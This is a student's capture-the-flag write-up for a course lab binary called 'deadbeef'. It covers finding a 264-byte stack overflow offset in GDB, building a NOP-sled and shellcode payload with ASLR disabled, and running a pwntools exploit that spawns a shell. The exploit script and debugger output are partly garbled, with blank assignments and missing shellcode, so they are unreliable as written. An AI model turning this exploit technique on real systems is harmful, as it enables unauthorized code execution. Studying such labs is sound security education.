CS 395

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Final Project Writeup

Deadbeef

I. Reconnaissance

We will solve this binary without ASLR enabled. This binary is the classic buffer overflow challenge.

First, we discover in Ghidra that it reads 1000 bytes into a 256 bytes buffer.

We can find the distance using cyclic:

```
0x5555555551b2 <main+77>
                                            rsi, [rip+0xe63]
                                                                     # 0x555555
                                    lea
5601c
   0x5555555551b9 <main+84>
                                    mov
                                            rdi, rax
   0x5555555551bc <main+87>
0x5555555551c1 <main+92>
                                    mov
                                            eax, 0x0
                                            0x5555555555050 <__isoc99_sscanf@plt
                                    call
>
                                                                  — threads -
[#0] Id 1, Name: "deadbeef", stopped 0x555555551a4 in main (), reason: SINGL
                                                                    - trace -
[#0] 0x5555555551a4 \rightarrow main()
gef> info frame
Stack level 0, frame at 0x7fffffffde30:
 rip = 0x5555555551a4 in main; saved rip = 0x6361617263616171
 Arglist at 0x7fffffffde20, args:
 Locals at 0x7fffffffde20, Previous frame's sp is 0x7fffffffde30
 Saved registers:
  rbp at 0x7fffffffde20, rip at 0x7fffffffde28
qef≻
```

Distance is 264 bytes.

Lets double check this:

Indeed we are able to rewrite the return address.

Since we need to input the value for 0xdeadbeef as an unsigned integer which will take up 10 bytes of data, we only need 254 bytes of junk to reach the rip address.

We can test this with a payload of

10bytes of num + 169 bytes of NOP + 85 bytes for shell code + 8 bytes for return Address

Use the payload above to test in GDB if we can overwrite RIP address



From examing the stack after taking the input, we see we can return to the start of the shellcode since ASLR is off, the address is fixed.

RIP will now point to the start of the shell code at 0x00007fffffffde24 (0x00007fffffffde20 + 4 from the image above)

II. Crafting Exploit

```
from pwn import *
# This script must be run without ASLR enabled (no reference to address)
script = process("./deadbeef" , stdin = PTY)
print(script.recv())
num = p64(3735928)
nopsLength = 254 - len(shellcode)
nops = b' \times 90' * nopsLength
address =
address = p64(address)
print (len(b'37359
                       ))
print ("Shello
                            + str(len(shellcode)))
                       + str(254 -len(shellcode)))
print (
print (len(address))
payload = b'
print(payload)
payload += nops + shellcode + address
#gdb.attach(script, "b *main + 149")
script.sendline(payload)
script.interactive()
                                                                                4,0-1
                                                                                             All
```

III. Result

Run the script above to get the shell:

```
(cs395@kali) - [~/Desktop/CS395_Final_Challenges/Deadbeef]
$ python3 CS395 deadbeef exploit.py
[+] Starting local process './deadbeef': pid 2857
b'Type in an integer!\n'
10
Shellcode Length: 85
Nops needed: 169
8
b'3735928559'
[*] Switching to interactive mode
You typed in the right integer!
$ $ whoami
cs395
$ 5 ls
CS395 deadbeef exploit.py core deadbeef
$ 5 pwd
/home/cs395/Desktop/CS395 Final Challenges/Deadbeef
$ $ uname -a
Linux kali 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux
$ $
```